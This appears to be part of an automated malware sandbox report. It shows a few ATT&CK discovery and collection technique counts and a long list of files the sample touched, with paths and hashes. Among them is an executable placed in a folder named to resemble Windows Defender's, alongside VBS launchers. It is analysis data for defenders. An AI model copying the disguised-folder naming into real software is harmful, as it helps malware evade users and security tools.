                                                                                                                                                                2
                                                                                                                                                                T1120

                                                                                                                                                                Query Registry

                                                                                                                                                                6
                                                                                                                                                                T1012

                                                                                                                                                                System Information Discovery

                                                                                                                                                                5
                                                                                                                                                                T1082

                                                                                                                                                                System Location Discovery

                                                                                                                                                                1
                                                                                                                                                                T1614

                                                                                                                                                                System Language Discovery

                                                                                                                                                                1
                                                                                                                                                                T1614.001

                                                                                                                                                                System Time Discovery

                                                                                                                                                                1
                                                                                                                                                                T1124

                                                                                                                                                                Lateral Movement

                                                                                                                                                                Collection

                                                                                                                                                                Data from Local System

                                                                                                                                                                3
                                                                                                                                                                T1005

                                                                                                                                                                Command and Control

                                                                                                                                                                Exfiltration

                                                                                                                                                                Impact

                                                                                                                                                                Replay Monitor

                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                Downloads

                                                                                                                                                                SCT Auditing Pending Reports
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                • Size 2B
                                                                                                                                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                Preferences
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                • Size 10KB
                                                                                                                                                                • SHA256 dcfc165afbaca451a7728c405fba5156f2baf55b6ea4f6fc9ee8bc1b0e270737
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Secure Preferences
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                • Size 11KB
                                                                                                                                                                • SHA256 66b392aa5c2ed7e5d7eb5c820460b38eb77621e66f031264246746a6125c8da5
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Web Data
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                                                                                                                • Size 138KB
                                                                                                                                                                • SHA256 1191c6d4a4350da386e1b87faf2166c069e809dff8d63f4d857195b2a984a979
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Last Version
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                                                                                                                                                                • Size 13B
                                                                                                                                                                • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                Local State
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                • Size 4KB
                                                                                                                                                                • SHA256 3d8f9b3b2094e15a86a36fd82b5fb9bec518fcab49e88903678cb111d6c929eb
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Local State
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                • Size 5KB
                                                                                                                                                                • SHA256 be2bb41e10577154f08f7c8d97705edf29953c48a58d4c87968a9ab9eaff9d65
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                settings.dat
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                • Size 280B
                                                                                                                                                                • SHA256 3a958178f477b8cf0f18d83e0835916167b3eaf95d859728b647bc0100a82efc
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                settings.dat
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                • Size 280B
                                                                                                                                                                • SHA256 48b0127c48894e5c8e42b14bcc7f6b1f91ca5d97355f42d22391fb602568bb1d
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Edge Profile.ico
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                                                                                • Size 70KB
                                                                                                                                                                • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Sdch Dictionaries
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                                                                                                • Size 40B
                                                                                                                                                                • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                Preferences
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                • Size 11KB
                                                                                                                                                                • SHA256 2e236aaf02f32190518fcf8cd0e44c9d0fc931378439f9d60ad3c8bdd32cfe38
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Secure Preferences
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                                                                                • Size 27KB
                                                                                                                                                                • SHA256 8b3797558c4acc2106382d3ddd086fb17e7f1bad93d360ad566f359410cfdbe9
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Local State
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                • Size 38KB
                                                                                                                                                                • SHA256 1925f466359700a1480079e53d24a73251afee8cee092f2126b4a0abd6292663
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                Local State
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                • Size 38KB
                                                                                                                                                                • SHA256 45aa46ef8b13e3c7d39cac927f3b1cdecec62af70a51b7d244853680b12aab3c
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                39d57a56-e2c9-443e-9bc5-b0d35ec729fb.tmp
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\39d57a56-e2c9-443e-9bc5-b0d35ec729fb.tmp
                                                                                                                                                                • Size 13B
                                                                                                                                                                • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                • Size 1KB
                                                                                                                                                                • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                • Size 1KB
                                                                                                                                                                • SHA256 c7b6604ff5990e616d846a778a556a5efde1ee36f30514268effc2484ad84ebc
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                • Size 1KB
                                                                                                                                                                • SHA256 f7bafb3cf64f4699c031d8a4116fcfe17f2534d5948d15d2bbb0b0dc9f32cc5b
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                CoreWorker_cjnmQmKTOMnCzez.exe
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
                                                                                                                                                                • Size 13KB
                                                                                                                                                                • SHA256 8896043512451ea5784c07ecb2798248e69175ee68785c9b34f15ca28a2d6270
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                prep_Activatable Class_Hermes_perf.cache
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                                                                                                                                • Size 603B
                                                                                                                                                                • SHA256 76051c7134ef5b2b172ae67cc7317ea11daedcc3d11f55c52922e505f501568b
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                index
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\Code Cache\js\index
                                                                                                                                                                • Size 24B
                                                                                                                                                                • SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                data_0
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\GPUCache\data_0
                                                                                                                                                                • Size 8KB
                                                                                                                                                                • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                Submit Download

                                                                                                                                                                data_1
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\GPUCache\data_1
                                                                                                                                                                • Size 264KB
                                                                                                                                                                • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                Submit Download

                                                                                                                                                                data_2
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\GPUCache\data_2
                                                                                                                                                                • Size 8KB
                                                                                                                                                                • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                Submit Download

                                                                                                                                                                data_3
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\GPUCache\data_3
                                                                                                                                                                • Size 8KB
                                                                                                                                                                • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                Submit Download

                                                                                                                                                                MANIFEST-000001
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\Site Characteristics Database\MANIFEST-000001
                                                                                                                                                                • Size 41B
                                                                                                                                                                • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                CURRENT
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Default\Sync Data\LevelDB\CURRENT
                                                                                                                                                                • Size 16B
                                                                                                                                                                • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                Submit Download

                                                                                                                                                                d09f85b3
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\408d87b3\d09f85b3
                                                                                                                                                                • Size 40KB
                                                                                                                                                                • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                component_1.exe
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                                                                                                                                                • Size 2.9MB
                                                                                                                                                                • SHA256 c2a388115e47c2ffb0f65ec4ef28f8c961e9c37ade10b39dd920fa5909824e7f
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                component_2.exe
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                • SHA256 dcfd33a5ed6c86fde6216ee270884e6a977e0daed7db7077ae0b1c7fbe3af860
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                __PSScriptPolicyTest_tq42iaym.yvm.ps1
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tq42iaym.yvm.ps1
                                                                                                                                                                • Size 60B
                                                                                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                launcher_1783137697558.vbs
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\launcher_1783137697558.vbs
                                                                                                                                                                • Size 243B
                                                                                                                                                                • SHA256 d149170472d5ea17e401da37c2d3c60ab0644b448032e36a6f21750893950594
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                launcher_1783137711768.vbs
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\launcher_1783137711768.vbs
                                                                                                                                                                • Size 243B
                                                                                                                                                                • SHA256 beec02fb1c6c916c7eb3fff18092897e593c580e74b2bc83bc6aa58b752d2963
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                LICENSE.electron.txt
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\LICENSE.electron.txt
                                                                                                                                                                • Size 1KB
                                                                                                                                                                • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                LICENSES.chromium.html
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\LICENSES.chromium.html
                                                                                                                                                                • Size 8.7MB
                                                                                                                                                                • SHA256 ad35e72893910d6f6ed20f4916457417af05b94ab5204c435c35f66a058d156b
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                chrome_100_percent.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\chrome_100_percent.pak
                                                                                                                                                                • Size 150KB
                                                                                                                                                                • SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                chrome_200_percent.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\chrome_200_percent.pak
                                                                                                                                                                • Size 229KB
                                                                                                                                                                • SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                d3dcompiler_47.dll
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\d3dcompiler_47.dll
                                                                                                                                                                • Size 4.7MB
                                                                                                                                                                • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                ffmpeg.dll
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\ffmpeg.dll
                                                                                                                                                                • Size 2.7MB
                                                                                                                                                                • SHA256 11daf2bf89a3ac660533b3e487e0624668b35f45d2bd94e9b0324bce8758de60
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                icudtl.dat
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\icudtl.dat
                                                                                                                                                                • Size 10.2MB
                                                                                                                                                                • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                libEGL.dll
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\libEGL.dll
                                                                                                                                                                • Size 468KB
                                                                                                                                                                • SHA256 a4336a318e8d92a47843d5fe429dc6d1ff7271d8bac189d719bc8074a128fd6e
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                libGLESv2.dll
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\libGLESv2.dll
                                                                                                                                                                • Size 7.3MB
                                                                                                                                                                • SHA256 7b0baa9e2e731716efe3e0bebf6a0bcd2d64f35d9f62b20d23acb4e098c9be36
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                af.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\af.pak
                                                                                                                                                                • Size 478KB
                                                                                                                                                                • SHA256 e36a906908a92dad39ad8e5b344b38c538574e35c5386ac2b901640b202d3228
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                am.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\am.pak
                                                                                                                                                                • Size 776KB
                                                                                                                                                                • SHA256 1847f8517d8f26c856adbf08df3996d5f3b7ab61378199c138346bfe29675f01
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                ar.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\ar.pak
                                                                                                                                                                • Size 851KB
                                                                                                                                                                • SHA256 04e83274dec0274dccbd97dabcefe3174ea1da5b62b5d24e047e2036b93f3482
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                bg.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\bg.pak
                                                                                                                                                                • Size 885KB
                                                                                                                                                                • SHA256 24c09721c3cb4f3fe7eb403113375257197bed808295c6b85532409b6664db45
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                bn.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\bn.pak
                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                • SHA256 bf2fa4c57095e0be63e8cd1ae6d2389d6417a91d8c9e1970eeee5363c46f0d27
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                ca.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\ca.pak
                                                                                                                                                                • Size 538KB
                                                                                                                                                                • SHA256 f4da114b473c34e0946b12289f6e802fcede2f66013d4f184c729a1f8ae7350e
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                cs.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\cs.pak
                                                                                                                                                                • Size 555KB
                                                                                                                                                                • SHA256 5635587f6ffb152c027b4357092fe78168e31cbc7f6be694c627f819c1ad1d73
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                da.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\da.pak
                                                                                                                                                                • Size 501KB
                                                                                                                                                                • SHA256 0c75acb008dd5c918d8a1a73c22fa7c503961481bf1708f6bda0da58693c3c08
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                de.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\de.pak
                                                                                                                                                                • Size 536KB
                                                                                                                                                                • SHA256 e33ea8240835cc775a9e88942aa2905d17cef84929602fd2c4f26f33f9bdc52a
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                el.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\el.pak
                                                                                                                                                                • Size 971KB
                                                                                                                                                                • SHA256 f1e01eeb90c0842f7af927f65d034fc93fdbcbcb9b9ea7e31c79761c316c8fb8
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                en-GB.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\en-GB.pak
                                                                                                                                                                • Size 436KB
                                                                                                                                                                • SHA256 ad460425c88be889d6d6a9b69d0b6f64e2e957bf8ac4f230de4d25340c75ba87
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                en-US.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\en-US.pak
                                                                                                                                                                • Size 440KB
                                                                                                                                                                • SHA256 20be1732675fedf380010b09936ed65c71bb761d0a05732215ef0795b5aba606
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                es-419.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\es-419.pak
                                                                                                                                                                • Size 530KB
                                                                                                                                                                • SHA256 06d13ffc791bb7189f5afbb166b1dc2bcf9309f04b68e4f16baacd4b3f625021
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                es.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\es.pak
                                                                                                                                                                • Size 530KB
                                                                                                                                                                • SHA256 77aa01763c114b75a83de3c34c60497b1ca23c98523f58a43c76aae7380ab3b6
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                et.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\et.pak
                                                                                                                                                                • Size 481KB
                                                                                                                                                                • SHA256 ac1431e61f8c6c56ef96860dc8a8ddf840dbf6965af6b920d811b7e39adab6b1
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                fa.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\fa.pak
                                                                                                                                                                • Size 789KB
                                                                                                                                                                • SHA256 d77aadacdb5b72345c68590ece6463efcdd4e8817fe3dedad98d64f132b8e48f
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                fi.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\fi.pak
                                                                                                                                                                • Size 492KB
                                                                                                                                                                • SHA256 ae902ab57a1325d4f0a0a1c69790f28f5e49b5671a99c4c315367b4425d1de97
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                fil.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\fil.pak
                                                                                                                                                                • Size 556KB
                                                                                                                                                                • SHA256 a30015021fb928bcf16f9409fb45fb89ca3d196bafb3597df3fe4a9e477a3fd9
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                fr.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\fr.pak
                                                                                                                                                                • Size 574KB
                                                                                                                                                                • SHA256 c22e274fbc4a033cb8a9a4e9a96f82487dc671ec0ad49b3257939d2a8a751442
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                gu.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\gu.pak
                                                                                                                                                                • Size 1.1MB
                                                                                                                                                                • SHA256 7b06f3b7040901e7dbd2884ba534d43e73013ce0677bc725d53bccd54759ad5e
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                he.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\he.pak
                                                                                                                                                                • Size 691KB
                                                                                                                                                                • SHA256 d71c98ed9ef2aaf13033332dcd40f41785656c156d41614916353daa3ea5f2a7
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                hi.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\hi.pak
                                                                                                                                                                • Size 1.2MB
                                                                                                                                                                • SHA256 352f833b4f936369216eeaa1f8c5e652b34a36cc143ff9a872b0608e4e88957c
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                hr.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\hr.pak
                                                                                                                                                                • Size 535KB
                                                                                                                                                                • SHA256 f882072827c75a5c046e29cc4e2468a41cb786199045b58550e978272d338fe8
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                hu.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\hu.pak
                                                                                                                                                                • Size 576KB
                                                                                                                                                                • SHA256 e806294a2d609a514dfa416a07625fb2f173018bb2e278323f752efc459c39f8
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                id.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\id.pak
                                                                                                                                                                • Size 475KB
                                                                                                                                                                • SHA256 c8e30f0c11d78c7d603df40bf6e9b2fe896eb36a8eee27d9621a537545b2f609
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                it.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\it.pak
                                                                                                                                                                • Size 523KB
                                                                                                                                                                • SHA256 89d7ec12aa52d5f2298d3fddfa24439bd89031c4341f1d2b9900a2e46664f7d8
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                ja.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\ja.pak
                                                                                                                                                                • Size 639KB
                                                                                                                                                                • SHA256 4c34aafd5794886a4d091c4f4a97642bb9f199b90203d904e14e503fc3edb845
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                kn.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\kn.pak
                                                                                                                                                                • Size 1.3MB
                                                                                                                                                                • SHA256 eb1bd5b8f89b9e9b568912455ad3b8a791f3370a34411e6fc982a661cc1b05ad
                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                Submit Download

                                                                                                                                                                ko.pak
                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\nscFC6D.tmp\7z-out\locales\ko.pak
                                                                                                                                                                • Size 540KB
